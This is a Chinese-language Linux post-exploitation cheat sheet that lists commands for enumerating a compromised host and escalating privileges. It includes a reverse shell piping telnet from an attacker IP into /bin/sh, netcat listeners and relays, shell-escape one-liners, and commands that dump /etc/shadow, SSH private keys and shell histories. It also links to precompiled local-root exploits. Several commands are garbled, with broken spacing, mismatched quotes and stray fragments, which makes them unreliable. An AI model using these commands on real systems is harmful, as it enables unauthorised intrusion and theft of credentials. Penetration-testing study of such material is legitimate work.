Linux提权后获取敏感信息方法

（Linux）的提权是怎么一回事：

 收集 – 枚举，枚举和一些更多的枚举。

 过程 – 通过数据排序，分析和确定优先次序。

 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。

 适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。

 尝试 – 做好准备,试验和错误。

系统类型

系统是什么版本?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

内核是什么版本？

cat /proc/version  

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz

有什么环境变量里？

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

是否有打印机？

lpstat -a

应用与服务

正在运行什么服务？具有什么用户权限？

ps aux

ps -ef

top

cat /etc/service

哪些进程具有root的权限？再次检查这些进程/程序看起来是否有漏洞！

ps aux | grep root

ps -ef | grep root

安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Service设置，有错误配置吗？

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

主机上有哪些工作计划？

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

主机上可能有哪些文本保存用户名和密码?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

NIC(s)，系统有哪些？它是连接到哪一个网络？

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

其他用户与主机的通信？

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

缓存？IP/或MAC地址?

arp -e

route

/sbin/route -nee

数据包可能嗅探吗？

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何得到一个shell？如何与系统进行交互？

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. 输入 (命令)

nc -lvp 4445    # Attacker. 输出(结果)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 攻击者的IP!

如何端口转发？（端口重定向）

# rinetd

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

#mknod

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod

backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc

localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

怎么样建立隧道来远程发送命令？

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

秘密信息和用户

哪个id登录？谁已经在线？用户权限可以做什么？

id

who

w

last

cat /etc/passwd | cut -d:    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

可以找到什么敏感文件？

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

什么有趣的文件在home/文件夹里？

ls -ahlR /root/

ls -ahlR /home/

查找密码，脚本，数据库，默认配置文件或日志文件

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做过什么？是否有密码？history？

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到什么用户信息

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

private-key 信息能否被发现？

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

4000

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

文件系统

哪些用户可以写配置文件在/etc/目录？并且能够重新配置服务？

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null        # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /有什么可以发现？

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息？

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有什么在日志文件里?（帮助到“本地文件包含” ?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

#

auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,

mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)

如果命令限制，你如何突破它的限制？

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

如何安装文件系统？

mount

df -h

是否有挂载的文件系统？

cat /etc/fstab

什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    #

Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,

/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID

(Quicker search)

#

findstarting at root (/), SGIDorSUID, not Symbolic links, only 3

folders deep, list with more detail and hideany errors (e.g. permission

denied)

find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢？几个通用的目录：/ tmp目录，/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null        # world-writeable folders

find / -perm -222 -type d 2>/dev/null      # world-writeable folders

find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files？可写的的，“没有使用"的文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持？

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件？

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

查找exploit代码
http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com
查找更多有关漏洞的信息
http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
(快速）预编译二进制代码文件
http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
找exploit很难吗？

使用第三方脚本/工具试试吧！

系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？

apt-get update && apt-get upgrade

yum update

服务运行所需的最低的权限？

例如，你需要以root身份运行MySQL？

能够从以下网站找到自动运行的脚本？！
http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net
（快速）参考链接
http://www.freebuf.com/articles/system/23993.html http://www.0daysecurity.com/penetration-testing/enumeration.html http://www.microloft.co.uk/hacking/hacking3.htm http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html